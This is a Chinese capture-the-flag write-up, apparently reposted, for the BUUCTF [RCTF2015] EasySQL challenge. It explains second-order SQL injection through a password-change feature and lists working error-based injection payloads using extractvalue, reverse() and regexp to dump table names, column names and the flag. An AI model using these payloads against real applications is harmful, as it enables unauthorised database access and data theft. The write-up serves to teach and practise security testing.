当前位置: 首页 > article >正文

【BUUCTF】[RCTF2015]EasySQL1

二次注入原理

是一种比较隐蔽的 SQL 注入类型

用户输入的数据先被存储到数据库中(此时可能未被恶意利用),后续应用程序从数据库中读取该数据并再次使用在 SQL 查询中,而此时就可能导致 SQL 注入问题。

如,用户注册时输入用户名 admin'-- ,这个数据被存储到数据库。之后,在修改密码等操作中,系统从数据库读取这个用户名并构建 SQL 语句,如 SELECT * FROM users WHERE username = '$username' ,这时就会引发注入。

进入题目页面,有登录、注册两个选择

先进入注册页面,尝试admin但是显示用户已存在

故随便输一个用户名密码邮箱

注册后进入登录页面,登陆后点击用户名可以看到change password

可以改密码,猜测是二次注入

 在源码中发现应该是报错注入

利用字典爆破关键字看哪些被过滤了

extractvalue函数关键字未被注释,进行报错注入

爆出表名

1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

爆出flag表的字段

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#
 

爆出flag字段的内容

1"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

居然有诈qyq

试一试另一个表users

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
 

发现here只显示her,未全部显示,因为 extractvalue函数最多显示32位,故使用 reverse()函数,将回显结果倒置

1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

爆出内容flag

采用正则注入

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

逆向输出

1"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

组合得到flag:flag{4acbc4b8-4f30-40ea-a840-98ac491a8b02}


http://www.kler.cn/a/513505.html

相关文章:

  • Android SystemUI——CarSystemBar车载状态栏(九)
  • Vue3初学之Element Plus Dialog对话框,Message组件,MessageBox组件
  • npm run dev 时直接打开Chrome浏览器
  • AI 编程工具—Cursor AI 对话模式详解 内嵌对话模式
  • Vscode:问题解决办法 及 Tips 总结
  • SSE 实践:用 Vue 和 Spring Boot 实现实时数据传输
  • AT9880U-B-F8N-23北斗多频导航芯片车规级数据手册
  • Docker入门学习
  • cf<contest/1950>练习-python版
  • Django学习笔记(安装和环境配置)-01
  • 元素周期表
  • jvm学习总结
  • Spark SQL中的from_json函数详解
  • mac 配置 python 环境变量
  • 2023年12月GESP C++ 六级认证真题——工作沟通
  • Android SystemUI——快捷面板的显示(十五)
  • Kimi k1.5:月之暗面再突破,多模态推理能力比肩 OpenAI o1
  • C++知识框架
  • 除了基本的事件绑定,鸿蒙的ArkUI
  • H3CNE-18-Telnet远程控制
  • [分治] FBI树
  • Python爬虫技术:高效数据收集与深度挖掘
  • 算法项目实时推流
  • Redis:解锁集群共享Session的秘密武器
  • 二、vue智能Ai对话(高仿通义千问)流式进阶版
  • 深入解析HDFS:定义、架构、原理、应用场景及常用命令